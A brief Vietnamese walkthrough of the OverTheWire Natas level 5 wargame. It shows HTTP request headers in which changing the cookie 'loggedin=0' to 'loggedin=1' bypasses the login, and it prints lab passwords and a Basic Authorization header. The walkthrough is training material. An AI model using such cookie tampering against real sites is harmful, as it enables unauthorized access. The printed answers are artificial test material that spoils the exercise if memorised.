overthewire.org NATAS5

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

 Natas5: http://natas5.natas.labs.overthewire.org/index.php

Access disallowed. You are not logged in

Ta kiểm tra giá trị live HTTP header:

Host: natas5.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-vn,vi;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: loggedin=0
Authorization: Basic bmF0YXM1OmlYNklPZm1wTjdBWU9RR1B3dG4zZlhwYmFKVkpjSGZx
Connection: keep-alive 

 Giá trị: Cookie: loggedin=0 là chìa khóa ;)
Ta thay bằng 1 xem sao:

Host: natas5.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-vn,vi;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: loggedin=1
Authorization: Basic bmF0YXM1OmlYNklPZm1wTjdBWU9RR1B3dG4zZlhwYmFKVkpjSGZx
Connection: keep-alive 

Và kết quả:

Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1